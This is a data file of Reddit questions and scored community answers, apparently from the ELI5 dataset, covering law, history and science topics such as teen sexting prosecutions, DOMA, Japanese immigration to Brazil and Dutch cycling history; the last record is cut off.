{"q_id": "3nd7a4", "title": "if a teenager can be charged with child pornography for having nudes of himself, why haven't people be charged with flashing for sending unsolicited dick picks?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nd7a4/eli5_if_a_teenager_can_be_charged_with_child/", "answers": {"a_id": ["cvmyr4c", "cvmzb9z", "cvn0ob1", "cvn13md", "cvn16gl", "cvn1e22", "cvn1gh6", "cvn3bik", "cvn3f26", "cvn3lng", "cvn4lh1"], "score": [928, 168, 122, 43, 7, 2, 4, 2, 12, 3, 3], "text": ["The only reason kids have been charged for having their own nudes is over zealous courts. The dick pics, in the other hand, are probably harassment or indecent exposure, but they're either much harder to prosecute (because the people are anonymous) or deemed nosy worth the time it would take to actually build a case against some one. ", "Flashing is very minor while child pornography involves victimising a child. \n\nOf course in these cases it's the justice system that chooses to victimize the child, but my point still stands.  Law is sacred in America unless you're a police officer, government official or wealthy.  These kids have to be punished for victimizing themselves.\n\nAnd our justice system is a shameful puddle of shit.", "Anyone got some statistics on the number of minors convicted of victimizing themselves?  Not sure how many of these bullshit cases have ended in a conviction.\n\nPrimarily people are just punished because they don't have the money to hire a lawyer to defend them correctly.  If you have enough money to appeal a conviction you can get this kind of bullshit into a higher court where people tend to be more reasonable.", "They couldn't be tried for indecent exposure, since they aren't naked in public, they are just sending pictures to someone, but they could be tried for sexual harasment, and many repeat offenders are if their identity can be discovered. Teens can be charged with child pornography because it technically is the law that anyone creating of distributing child porn is guilty of it, the law doesn't stipulate any particular age for the offender. The same is true of concensual sex between minors. In most cases, even if they are discovered they aren't charged, because most people find this stupid, but there are plenty of places and people that are so opposed to their children having sex that they are more than willing to send them to jail to discourage others from doing it and punish them for it.", "It's about who is making the case. Having a picture of a dick on your phone isn't illegal, neither is taking a picture of your dick. You probably could build civil harassment case, maybe even a criminal indecency case if someone launches a complaint over receiving an unsolicited dick pic. But they actually have to launch the complaint themselves. If I'm looking through your phone and find a dick pic, even if I ask you about it and you say someone sent it to you unwanted I can't go and launch a case on your behalf. Most people don't care enough to go through the hassle.\n\nOn the other hand if I am going through your phone and see naked children I can launch the legal action with a simple report because it's never legal t have naked pictures of minors. If I'm in the kind of job that may realistically confiscate a minor's phone, such as a school teacher, I may be legally obligated to report possible child abuse, which child porn falls under. \n\nWe just don't have laws that have caught up to a selfie society. \n\nEdit: I'm aware it's not illegal to have picture of naked minors in absolutely every instance on the planet, please stop telling me that. None of the ways it can be legal include sexually suggestive poses. Everybody knew exactly what I meant and there was no need for me to write a fucking novel on it. Enjoy being technically correct.", "because of laws. there are more federal and state regulations that police child porn, which is seen (most likely rightly so) as a bigger problem than flashing. there are a web of laws and regulations that define what is a crime and based on what medium, considering video/film of child porn was a big problem. if you do something that falls within what the statute says, you're guilty, no argument (even if you've got pics of yourself). the statutes are incredibly detailed and voluminous because we want to prevent child victimization.\nthere is no federal regulatory system for flashing and many cities/states/local municipalities have it defined as a misdemeanor with maybe a small provision in their statutory codes that most likely doesn't even address it in the technological medium. this is the same problem places are having with bullying, harassment, etc. on Facebook or other social media outlets: the laws simply aren't written to encompass what people are doing so you can charge an offender all you like but nothing will come of it because what they did didn't fall within the words of the statute.", "I'm sure that people have been charged for flashing, lots of them. It's been happening for centuries. It just doesn't make headlines anymore.", "Idk if this has been said yet, but in North Carolina the age to be tried as an adult is 16, so recently a 17 year old was tried as an adult for sending nude photos of a minor, aka himself. ", "Because CP is a hot button issue that's very emotionally charged, and every prosecutor/judge loves a good witch hunt, even when it goes against all common sense. ", "When I was a prosecutor we did charge guys for this behavior. We did not charge them with \"flashing\" or indecent exposure, as it would never fit the statute.  \n\nA woman (or girl) would complain, he didn't stop; pretty easy decision (and case). The specific charge would depend on a few factors but I charged misdemeanors in all of those situations. Specifically harassment by telephone or a charge related to exposing children to pornography. \n\nAn adult sending pictures to a young girl obviously happens frequently and is a different, felony charge.  \n\nI was very, very conservative on charging sexting cases and only did it in these instances as far as I can remember; I received a lot of referrals to prosecute more innocuous behavior and always declined.", "by that logic why aren't all children arrested for being in possession of a potentially-naked child (themselves).  this shit has gotten seriously out of hand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1h6tff", "title": "why bill clinton passed doma if he is a proponent of gay marriage?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1h6tff/eli5_why_bill_clinton_passed_doma_if_he_is_a/", "answers": {"a_id": ["cardwms", "cardyl9", "care8jm", "carfh9n"], "score": [5, 27, 12, 3], "text": ["He didn't have a choice. If you look at the vote totals, they had way more votes than necessary to overturn a presidential veto. \n\nEdit: words. ", "For one thing, when DOMA was passed more than 15 years ago, the cultural climate of the United States was completely different. The gay rights movement didn't have nearly the momentum or support that it does now.\n\nIn fact, in many states, there were laws on the books prohibiting even same-sex activity.\n\nAlso, DOMA passed with a veto-proof majority in both the House and the Senate. The vote in the House was 342-67, while in the Senate the tally was 85-14. Clinton could have vetoed it, but it would have become law anyway.\n\nThere's also the possibility that it was a tactical decision. If DOMA hadn't become law, conservatives might have sought to make an amendment to the Constitution banning gay marriage, and constitutional amendments can't be struck down by the Supreme Court.\n\nFinally, it's entirely possible that Clinton changed his mind, much as a large proportion of the population has. In 1996 when DOMA was passed, only 27% of people in the US believed that same-sex marriage should be legal. Today, it's over 50%.", "It would have passed either way. The votes were 85-14 in the senate and 342-67 in the house. If he had vetoed, they would have overridden the veto which only requires 2/3. In the process, he would have angered the Republicans and a good portion of the country which would have torpedoed ~~his reelection~~ and any other business he attempted to do during his term. He would have become a lame duck President over a symbolic gesture. \n\nDOMA was likely also a compromise to prevent something far worse. With a 2/3+ majority, they easily could have pushed a constitutional amendment. It still required 3/4 of states (38), but considering 17 years later 37 states still ban gay marriage they likely could have gotten that too.\n\nIf someone demands 20 from you but has the power to take 100, you aren't in a position to refuse or negotiate. ", "Bill Clinton was not a proponent of gay marriage when DOMA passed, almost no elected official was.  Even as late as 2008, Obama said he was not in favor of gay marriage while running for president.\n\nIn the 1990s, gay rights where in a place where legal gay marriage was almost unthinkable.  Even supporters of gay marriage may have voted for it, opting to avoid political fallout over something they figured wouldn't happen in their lifetime."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2qeefs", "title": "What does it mean that Ghengis Khan was born grasping a blood clot?", "selftext": "It says in the Wikipedia article that he was born grasping a blood clot, and that this was a sign of his future as a great leader. Firstly, how does one grasp a blood clot? Secondly, can anyone share information about this belief? Thanks in advance for any information. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qeefs/what_does_it_mean_that_ghengis_khan_was_born/", "answers": {"a_id": ["cn5jhsh", "cn5k0gc", "cn5s4tu"], "score": [24, 27, 4], "text": ["This might also be a good question for /r/askanthropology.", "A \"blood clot\" could just mean any bloody, solid-ish thing that's not necessarily a blood clot (like the bits of tissue that can get expelled along with the child during birth). Otherwise, a blood clot is a solid thing, formed when blood congeals together because of clotting factors and whatnot. Think about holding a piece of half-formed jello or toy ooze.\n\nAs for the meaning, I have no idea. I hope someone answers this with scholarly sources as a late Christmas gift.", "As we've had to remove a number of comments already, can I remind everyone that answers in /r/AskHistorians must be drawn from in-depth scholarly knowledge. Please refrain from speculating."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6xwqm1", "title": "Prussia: the accuracy of \"Prussia was a military with a country, not a country with a military\"?", "selftext": "Hi and thanks in advance,\n\nToday id like to ask about Prussia and why it's known as a \"military with a country\", whether or not that is accurate, and what lessons might we take from a country with that kind of framework and what pillars would we use to identify a similarly structured country?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6xwqm1/prussia_the_accuracy_of_prussia_was_a_military/", "answers": {"a_id": ["dmkwj14"], "score": [21], "text": ["To a certain extent, almost all premodern nations were dominated by the military. I large share of budget expenditures in almost every premodern state was directly or indirectly used to finance war. I think what makes Prussia so much a \"Military With a Country\" is the extent to which the state was able to exert it's power over society. Despite it's poverty and small size, the Prussian bureaucracy and allied aristocracy was consistently able to raise more resources through taxes or an efficient draft than other states. As a result, I'd argue it's not so much that Prussia was unusually militaristic (although it probably was) as it was that the state had an unusually high level of state capacity.\n\n Bureaucracy and Efficiency: An Analysis of Taxation in Early Modern Prussia "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1spyme", "title": "Does the orbit of the earth around the sun affect spaceship launches?", "selftext": "Do we time the launches of satellites and spaceships etc to coincide with the part of the earth they are on facing the opposite direction to the path of the earths orbit around the sun? It seems as though if we took off while facing the direction of the orbit, the earth would be moving towards the rocket as it took off. If launched from the opposite side then the earth would be moving away from the rocket as it is launched making it easier? Does this have any effect or does the gravity of the earth cancel it out?\n\n\n\n\n\n\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1spyme/does_the_orbit_of_the_earth_around_the_sun_affect/", "answers": {"a_id": ["ce024h3", "ce02yf6", "ce03cdn", "ce06ajy", "ce0ksv3"], "score": [25, 18, 5, 6, 2], "text": ["Everything on earth already has earths' velocity. Any thrust you're adding just adds to this velocity. For launches into earths' orbit the sun doesn't matter. For launches to other planets our orbital location and theirs matter since you need to transfer between orbits. In that case too it not so much the timing of the launch that matters but when you're trying to change orbits.\n\nJust to clarify, gravity is the same for a location though out the day. Earth's velocity doesn't affect gravity at all.", "The important thing here is the spacecraft's desired heliocentric velocity, i.e. its velocity relative to the sun. If you escape from the Earth going in the same direction as Earth then your heliocentric velocity will be the spacecraft's velocity relative to Earth + the Earth's velocity, and vise versa.\n\nSo depending on whether or not you want to go to a planet that is further away e.g. Mars, Jupiter etc. or closer like Venus or Mercury then you would likely change the direction you launch from to reduce the delta v the spacecraft has to use fuel for. \n\nTL;DR: The \"side\" of the Earth you launch from affects its heliocentric velocity.\n\nSource: Taking Spacecraft Dynamics, have final exam tomorrow", "Yes, but only for missions that go to other planets. Let's say you want to go to Mars. Then:\n\nKeep in mind you almost never launch straight up. The initial portion of the orbit is always curved. It's true that you want the general orbit to benefit from the Earth's speed around the Sun, but the launch is always curved, not straight up.\n\nSo what you do is \"slingshoot\" it around the Earth, with the goal for the general orbit to go in the same direction as the Earth around the Sun. You're using Earth's own spin to add a bit of speed to the whole thing.\n\nThis page answers your question exactly. Scroll down to the middle of the document and click on the animation:\n\n_URL_0_\n\nAfter the initial slingshot curve, you do a Hohmann transfer between Earth and Mars, like this:\n\n_URL_1_\n\n---\n\nNow, if your goal is to stay around the Earth, then none of the above matters at all. You're within Earth's gravity the entire time, so it doesn't matter that the Earth is in orbit around the Sun.", "Anyone that's really interested in this should check out Kerbal Space Program.  It's a game that simulates launching rockets into orbit and even other planets.  It does a good job helping one understand the basics of spacecraft dynamics.", "Not for local orbits. But just a tangent that is interesting along that line of thought, snipers that take very long shots have to correct for the rotation of the earth when they are setting up a shot, along with wind, gravity, and so on. I thought that was pretty interesting. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www2.jpl.nasa.gov/basics/bsf14-1.php", "http://www2.jpl.nasa.gov/basics/bsf4-1.php"], [], []]}
{"q_id": "misxa", "title": "What kind of difficulties are there in creating thought controlled prosthetics?", "selftext": "Back in high school I first read [Ghost in the Shell](_URL_1_) and became interested in mechanical limbs. After doing some research I found out about the two people mentioned [here.](_URL_0_) I also seem to remember reading something about a man that was missing an eye and had replaced it with a mechanical one. After some further research I couldn't really come across much of anything else and mostly gave up. Now that some time has gone by, I wanted to ask some questions. (After re-reading this before posting I realised it sounds like I'm mostly asking about arms, but I'm talking more general, so arms, legs, eyes, etc.\n\n**Has there been any updates in this field, whether they're related to the person in the previous article or in general.**\n\n**What kind of obstacles are there when creating a working prosthetics? I remember reading about a couple problems in the past.**\n\n\nFunding obviously an issue\n\nLoad limitations on the limb itself. For example, attaching a mechanical arm to a cap or plate on a stub wouldn't give the arm enough support when lifting objects, meaning you either A) couldn't pick up anything heavy, or B) doing so would pull the arm off. \n\nDepending on how the limb is attached there might be a risk of infection, for example if various parts needed to be attached underneath the skin. \n\nDifficulty in connecting \"organic\" parts to \"mechanical\" parts. To clarify, you couldn't simply just splice a nerve and a wire together or bone to metal, etc(I'm assuming) and even if theoretically possible would have too high a risk for infection. \n\nParts being too heavy/uncomfortable for daily use\n\n**In theory, how much of a person could be replaced with mechanical parts?**\n\n**Have there been any reports done on potential moral or ethical issues in regards to these types of prosthetics?**\n\nI guess that's all the questions I can think of at the moment. If there's anything else you think would be interesting, feel free to post it. I apologise for the crappy formatting about, I'm not good with formatting, so if any of the mods want to adjust anything feel free. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/misxa/what_kind_of_difficulties_are_there_in_creating/", "answers": {"a_id": ["c36r4mr", "c36r4mr"], "score": [2, 2], "text": ["within the last ~5 years there has been ~400 million USD dumped into research for upper extremity prosthetics.  The DARPA Luke arm is the most notable.  \n\n_URL_1_\n\nThere are all sorts of limitations depending on the level of amputation.  Currently upper extremity prosthetics hasn't changed significantly.  Examples of problems are weight and gadget tolerance of the patient.  Lower limb prosthetics have been making advancements.  A newer suspension means is elevated vacuum also known as sub-atmospheric.   \n\nThe osseointegration you talk about is being researched, _URL_0_, but not in the US because of the FDA.  \n\nYou're questions are very big.  I could write a few papers for each of your questions (and I have for a few!).  I don't have the time right now to go into them but if you have a few that really interest you, or some more specific ones, or just some sources to read about it, let me know!\n", "within the last ~5 years there has been ~400 million USD dumped into research for upper extremity prosthetics.  The DARPA Luke arm is the most notable.  \n\n_URL_1_\n\nThere are all sorts of limitations depending on the level of amputation.  Currently upper extremity prosthetics hasn't changed significantly.  Examples of problems are weight and gadget tolerance of the patient.  Lower limb prosthetics have been making advancements.  A newer suspension means is elevated vacuum also known as sub-atmospheric.   \n\nThe osseointegration you talk about is being researched, _URL_0_, but not in the US because of the FDA.  \n\nYou're questions are very big.  I could write a few papers for each of your questions (and I have for a few!).  I don't have the time right now to go into them but if you have a few that really interest you, or some more specific ones, or just some sources to read about it, let me know!\n"]}, "title_urls": [], "selftext_urls": ["http://www.thisislondon.co.uk/news/article-23553935-bionic-breakthrough-as-prosthetic-lets-woman-feel-her-missing-hand.do", "http://en.wikipedia.org/wiki/Ghost_in_the_Shell"], "answers_urls": [["http://www.youtube.com/watch?v=XBqjwxCda4A", "http://www.youtube.com/watch?v=B0QJeRuWijs&amp;feature=results_main&amp;playnext=1&amp;list=PL57ACD2E6CF853530"], ["http://www.youtube.com/watch?v=XBqjwxCda4A", "http://www.youtube.com/watch?v=B0QJeRuWijs&amp;feature=results_main&amp;playnext=1&amp;list=PL57ACD2E6CF853530"]]}
{"q_id": "6en8tc", "title": "As of 2014, there were 10 people left in the world living in iron lungs. Do we not have the technology to remove them safely?", "selftext": "I stumbled upon [this news story](_URL_0_), which talks about a man who has been living in an iron lung for the last 5 or 6 decades. \n\n\nI know the iron lung is an outdated and generally obsolete piece of medical equipment, so why can't we feasibly remove someone from it and simply hook them up to a normal positive pressure ventillator?\n\n\nIs it like the 'car-crash-victim-pinned-against-a-tree' kinda scenario wherein removing them would immediately kill them? Or is it just lack of money on their part?\n\nI have no medical knowledge so apologies if this a simple question", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6en8tc/as_of_2014_there_were_10_people_left_in_the_world/", "answers": {"a_id": ["dibt4vb", "dic35lb", "dide731"], "score": [70, 7, 2], "text": ["Having worked with people in iron lungs, it can easily be done by switching that person to NIPPV. The issue would be one of comfort, because they would have to wear a mask to ventilate. There is still negative pressure equipment that can be used, and is less bulky than the iron lung. Maintenance of the iron lung is difficult because of the lack of parts available. ", "Negative pressure\u00a0ventilation is a truer approximation of normal physiological breathing and results in more normal distribution of air in the lungs. It may also be preferable in certain rare conditions, such as\u00a0central hypoventilation syndrome, in which failure of the medullary respiratory centers at the base of the brain results in patients having no\u00a0autonomic control\u00a0of breathing.", "Negative pressure is normal way of lung inflation. Positive airway pressure interferes with heart function by reducing venous return which limits the operating range. Also, a mask must be used which interferes with speech."]}, "title_urls": [], "selftext_urls": ["http://www.washingtontimes.com/news/2014/aug/24/north-texan-one-of-10-still-living-in-iron-lung/"], "answers_urls": [[], [], []]}
{"q_id": "347kya", "title": "Why does dripping oil not make a sound?", "selftext": "Was filtering some sunflower oil and noticed that the droplets do not make an audible sound when they fall into the oil. \nOf course we all know that a dripping faucet makes a very noticeable sound.\nI assume it has something to do with the viscosity and/or surface tension of the oil.\nDoes anyone know the conditions when droplets of a fluid makes the least amount of sound and the conditions for the most amount of sound?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/347kya/why_does_dripping_oil_not_make_a_sound/", "answers": {"a_id": ["cqskgb4"], "score": [2], "text": ["Here's a paper on just that sort of topic. It looks like a big factor is the air that's brought along in the dropping/splashing process:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.me.jhu.edu/prosper/publications/PapersPublished/AirEntrainment/OguzAnnualRev.pdf"]]}
{"q_id": "9l1aa6", "title": "What is the history behind Brazil's large Japanese community?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9l1aa6/what_is_the_history_behind_brazils_large_japanese/", "answers": {"a_id": ["e73ld4j", "e7481er", "e74axti", "e74c0yq"], "score": [805, 12, 8, 10], "text": ["To answer your question of why there is a large Japanese community in Brazil we first need to establish the fact that long before any Japanese arrived in Brazil a lots of other peoples had arrived there. After Brazil gained independence from Portugal in 1822 the Emperor Pedro I and the elites wanted to modernize Brazil. They wanted a modern, export orientated economy based mostly on agriculture. Agriculture was one of the main industries that where growing at this time, and it demanded a lot of labor. And since slavery wasn\u2019t really an option anymore and the slave trade eventually ended in 1850. This although it had been outlawed in 1826 but continued do to the necessity of workers(in this case slaves) on the plantations. And besides that it was seen as undesirable to bring more people of color to Brazil, the elite\u2019s wanted a Modern country, which in their mind meant a white country. \n\nThe ideal candidates, according to the Brazilian elite, were white and catholic. The first efforts to bring white farmers to the large plantations didn\u2019t work out as well as the elite\u2019s had hoped. Firstly while they wanted free and white laborers on the plantations they didn\u2019t treat them as laborers but as slaves. So while they did attract lots of immigrants, this also caused issues between the immigrant workforce and the plantation owners. Despite this loads of people from North-West Europe (Mostly German) came to Brazil to search for a better life. Still tough this wasn\u2019t enough to satisfy the needs of the large plantations.\n\nThe next groups of mass immigrants came from Southern Europe, mostly Italian, Portuguese and to a lesser extend Spanish. These too didn\u2019t work out as well as the elite\u2019s had hoped, because most immigrants that arrived from Europe weren\u2019t the best and brightest and most where illiterate, but mostly poor lower class citizens looking for a better life. This caused a lot of tension between the local plantation owners and these peoples. At one point it became so bad that the Italian authorities prohibited Italians from migrating to Brazil due to abuses by the plantation owners of the labor force.\nThe third group that was attempted where Jews and Arabs, this scheme failed mostly due to the fact that most of the Jews and Arabs didn\u2019t stay on the plantations but became shop keepers in the large cities in the country. Therefore the plantation owners still didn\u2019t have a big enough workforce.\n\nSo far the attempts of the Brazilian state to \u201cwhiten\u201d the population hadn\u2019t worked out as promised, and still hadn\u2019t brought in enough workers. From 1868 Japan transformed from a Feudal state to a Modern state with a lot of population growth. This caused the Japanese state to look for ways to relieve the population pressure, their main targets at first were the USA and mainland Asia. But soon they started looking at other regions, one of which was Brazil with a large demand for immigrants. This caused the Japanese and Brazilians to make a deal about immigration. This coincided with the Japanese desire to be a Western Country, and the Brazilian elites started to think about Japanese as white. In 1908 the first Japanese arrived in Brazil aboard the Kasato Maru, and the Brazilians where immediately impressed with the Japanese would-be immigrants. This event was witnessed by the Soa Paulo\u2019s Inspector of Agriculture J. Amandio Sobral who was impressed that most of the immigrants were literate, \u201cand in flagrant contrast \u2026 to our workers did not seem poor\u201d. He too was amazed that the Immigrants looked European, and were clean, and so was the ship on which they had just undertook their journey. The arriving Japanese too were happily surprised with their arrival in Brazil, as by pure coincidence Sao Paulo was just having a festival, which the immigrants thought was in their honor. Over the years a lot more Japanese arrived and they were really well liked by the Brazilians. Despite this they still suffered from abuses by the large landowners but to a far less extent due to the protection of the Japanese immigrants by the Japanese state, and as Japan was a world power at this stage this meant far better conditions for the Japanese than other peoples had encountered at first.\n\nI hope you will enjoy the read, I expanded a bit on the original questions and included the other targets of immigration first to give a more complete picture. If you have any additional questions feel free to ask I\u2019ll try to answer them as best I can. \n\nSources:\nLESSER, J., Immigration, Ethnicity, and National Identity in Brazil, 1808 to present, New York, 2013. \n", "I haven't read this in some time so couldn't provide a summary that would do it justice, but Dr. Takeyuki Tsuda, an Anthropologist at UC San Diego, wrote a excellent ethnography on the subject. It is a staple in many anthropology programs and considered a must-read ethnography for many scholars studying trans transnationalism.\n\nTsuda, Takeyuki. Strangers in the Ethnic Homeland: Japanese Brazilian Return Migration in Teansnational Perspective. 2003. Columbia UP. \n\n_URL_0_", "Its a very interesting story, thanks for sharing it.\n\nWhen I first read the headline, I assumed the basic reason was export of agricultural labor. Its the same reason there are Japanese populations in places like Hawaii and California.\n\nJapanese labors were also imported to work sugarcane fields in Queensland, Australia. Southern european workers were also imported to Queensland, like in Brazil.\n\nJapanese laborers also moved to Peru and I believe Alberto Fujimori was descended from this population. A community of Peruvian workers also live in Japan, so worker populations moved both ways at different times.\n\nSource: Peru and Japan, an Uneasy Relationship\n\n[_URL_0_](_URL_0_)", "Couple of interesting points on this:\n\n1. The immigration was largely organized and executed by private companies. A big one was Kaigai Ijuu Kumiai Rengokai (Confedera\u00e7\u00e3o das Cooperativas de Emigra\u00e7\u00e3o), founded in Japan in 1927,  and its Brazilian subsidiary, Bratac (a contraction of Brasil Takushoku Kumiai Ltda., which apparently translates to \u201cBrazil colonization society\u201d).  Source: _URL_1_\n\n2. The Brazilian government (and apparently elements of civil society as well) persecuted the Japanese Brazilians during the Second World War. Japanese language schools were shut down, people were forced to move to the interior of the country, and Japanese language newspapers and radios were closed. According to the source below, this was inspired by the US internment of Japanese Americans during the same period, and actively encouraged by the Brazilian ambassador to Washington. _URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://cup.columbia.edu/book/strangers-in-the-ethnic-homeland/9780231128384"], ["https://www.jstor.org/stable/41800250"], ["http://www.usp.br/proin/download/imprensa/imprensa_integras_20_04_2009.pdf", "http://www.imigracaojaponesa.com.br/index.php/nossa-historia/historia-da-imigracao-parte-3/"]]}
{"q_id": "3e97au", "title": "how much effect does the amount of money someone has have in a presidential election?", "selftext": "Watching the news, they are discussing Donald Trumps wealth, does that affect his chance in winning a presidential election?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3e97au/eli5_how_much_effect_does_the_amount_of_money/", "answers": {"a_id": ["ctcoxhk", "ctcoz5n"], "score": [2, 3], "text": ["Incredible. It's so bad, that in America without the backing of some bilionaire, you have almost no chance of winning. ", "Your ability to advertise is a major part of your ability to win an election. No one will vote for you if they don't know who you are or what you stand for. Trump's wealth means that he could spend a lot of money on advertising that would make him much more likely to win."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2mvqu0", "title": "How did bicycling become so prevalent in the Netherlands?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mvqu0/how_did_bicycling_become_so_prevalent_in_the/", "answers": {"a_id": ["cm83t6j"], "score": [22], "text": ["On my phone and not a native English speaker so I'm sorry for the chaos:\n\nBy the end of the 19th century cycling was really popular. It was common in England and Germany for employers (state and private) to sell there workforce very cheap 'velocipede' or bicycle. And for good reason, (cheap) bicycles increase the quality of life in ways we don't imagine anymore today. This was a cheap way of transport fueled by calories, before this you either needed a horse (expensive) or train (inflexible in direction and cost money). This allowed a person to live further away from there job where before you basically were confined to a overcrowded area of town. In 1897 the government of the German Empire officially announced that the ownership of a bicycle increases the prosperity of the workers. \n\nIn the Netherlands the bike got imported from England and France from 1870 and between 1890-1894 it became affordable and wasn't confined to the rich anymore. In 1891 there were probably around 10.000 bicycles but more precise numbers are available since 1899 due to a bicycle tax. In that year the amount of bicycles were 1 for every 53 citizens (100.000), 1 for every 17 by 1906 and in 1912 this was 1 bicycle for every 10 citizens. \nAs mentioned earlier this was due to price, in 1880 they cost 250 guilders which was a half year worth of salary for an average worker as they earned 19 cents per hour. By 1889 the cheapest Dutch model was 90 guilders (and interestingly models imported from England were 60 guilders!). Around 1900 a worker expected to earn around 10 guilders a week making it affordable. In 1930 the yearly salary was 2100 guilders and a bicycle costed around 35-50 guilders, everyone could afford one.\n\nIn 1928 the Netherlands ranked 1 in bicycles per citizens:\n\nNetherlands - 1 per 3.25 citizens\nDenmark - 1 per 4.75 citizens\nGermany - 1 per 5.8 citizens\nFrance - 1 per 6 citizens\nEngland - 1 per 7.1 citizens\nUnited States - 1 per 70 citizens.\n\nThe Royal family was known to cycle as well, in 1897 Queen Wilhelmina bought a bicycle after visiting Vienna and seeing a cyclist competition. Later the Prime-Minister forbade her to continue her cycling, this only stopped for a moment and she continued doing so anyway eventually... \n\n_URL_6_ \n\nLike here in Den Haag (The Hague), yes that is Queen.\n\nQueen Juliana was known in the world as the \"biking queen\" she was known to arrange bicycle tours whenever she visited a place. \n\nFrom 1953 at Palace Soestdijk\n\n_URL_5_\n\nDuring a visit of Friesland (Frisia) in 1967\n\n_URL_1_\n\nAnd telling the mayor of Helomavaart to cycle faster in 1974. (she is the second one)\n\n_URL_4_\n\nNot as much as her mother but Queen Beatrix (then still princess) along with Prince Claus also cycled, a tradition seems to have been established. \n\n_URL_3_\n\nAnd the current King and Queen\n\n_URL_2_\n\nThis laid a solid foundation for a positive outlook to cyclists which helped later. \n\nAutomobiles started to become more popular which caused a decline as expected. In 1939 there are 3.7 million bicycles and a 100.000 cars, the amount of cars increased sixfold between 1916 and 1938. The increase of car accident which involved cyclists in 1/3 of the accidents got the bicycle labeled as unsafe. Cyclists were often seen as unpredictable and undisciplined participants in traffic.\n\nThen World War II happened, we have an expression here in the Netherlands that we want our bike back whenever we speak about Germany. This is not unfounded the Germans confiscated the bicycles for materials. In 1940 there was 1 bicycle per 2 citizens and this decreased by 55% in 1942 when they started confiscating. Interesting raport from a German soldier:\n > \"The Dutch who is almost born on a bicycle sees the confescation of his bicycle as the worst thing that has ever happened to him. No German introduced law has embittered the entire society as this one\"\nAfter 1942 the rate of confescation dropped to local efforts, and steadily declined in rate but when the war was over many people were without bikes, this was alleviated in 1946 when some returned from Germany.\n\nA few years after WWII  half of all commuters used a bicycle again, due to the economic situation cars weren't on the rise proportionally to bicycles.. However this changed in the 50's and cars started to take off. As the amount of cars on the road grew so did the amount of accidents. \n\nBy 1971 3000 cyclists died per year of which 450 were childeren. After the child of a journalist called Vic Langenhoff died in 1971 he wrote an article called \"Stop the child murder\". A movement was made named after the articles and they started protesting for change. But what really reversed the decline in cycling from the 50's and 60's was the OPEC oil boycot of 1973 on top of this movement.  This led to a massive infrastructure project that made smooth cycling lanes next to roads, tunnels were being made safer by proper lighting and no corners (but a sloping wall at the front and end) so nobody could jump you by surprise which increased the sense of safety. Today the average dutch person cycles 2.7 km a day (anecdote: my 86 year old grandmother still cycles).\n\nTL;DR: Early mass adaption by every class including the Royal Family, and a focused effort after the 1973 OPEC oil crisis and a 1971 news article on the amount of kids that died in accidents led to major improvements in bicycle infrastructure.\n\nSources:\n\n100 years of cycling in the Netherlands 1850-1950 from the University of Warsaw (dutch translation):\n_URL_0_\n\nBBC article on cycling in the Netherlands for a more readable source:\n_URL_7_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://fietspadenstichting.nl/honderd%20jaar%20fietscultuur.pdf", "http://www.fietsen.123.nl/images/2010-02/06julianaopfiets.jpg", "http://www.fietsen.123.nl/images/2010-02/14willemalexandermaximafiets.jpg", "http://www.fietsen.123.nl/images/2010-02/10clausenbeatrixopfiets.jpg", "http://www.fietsen.123.nl/images/2010-02/07julianafriesland.jpg", "http://www.fietsen.123.nl/images/2010-02/04koninginjulianafiets.jpg", "http://www.fietsen.123.nl/images/2010-02/02wilhelminafiets.jpg", "http://www.bbc.co.uk/news/magazine-23587916"]]}
{"q_id": "3lxxyk", "title": "why is a ceo is going to prison for 28 years for sending out tainted peanut butter but 0 executives from general motors are going to prison for killing over 100 people?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3lxxyk/eli5_why_is_a_ceo_is_going_to_prison_for_28_years/", "answers": {"a_id": ["cva8brz", "cva8r1l", "cvajua0", "cval5je"], "score": [5, 19, 11, 9], "text": ["Plausible deniability\u00a0- from Wikipedia - is the ability for persons (typically senior officials in a formal or informal chain of command) to deny knowledge of or responsibility for any damnable actions committed by others (usually subordinates in an organizational hierarchy) because of a lack of evidence that can confirm their participation, even if they were personally involved in or at least\u00a0willfully ignorant of the actions.\u00a0\n\nGM execs had it.\n\nStewart Parnell did not.\n\nI have seen this many times and the larger the organisation the easier it is to pull off.\n", "There are two major differences here. First, the CEO of Peanut Corporation of America actively lied, where GM merely failed to state something other people thought was important. Second, peanut butter is generally expected to be safe, where cars are known to be dangerous. In a perfect world, we'd make cars as safe as we can, but it's also widely known that this is not a perfect world. There is a large variation in how safe different cars are, and the problem GM had isn't noticeably against that variation.", "Last I heard, federal investigators explicitly said that they were not ruling out criminal charges for GM employees, and were still investigating the matter. It's not a settled matter yet.", "The peanut guys knew willfully disregarded protocol and shipped contaminated peanuts. [They did it on purpose. it's the difference between manslaughter and murder.\n](_URL_0_)\n\nNot that I entirely agree with the GM decision, but I am explaining the gap in culpability.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": 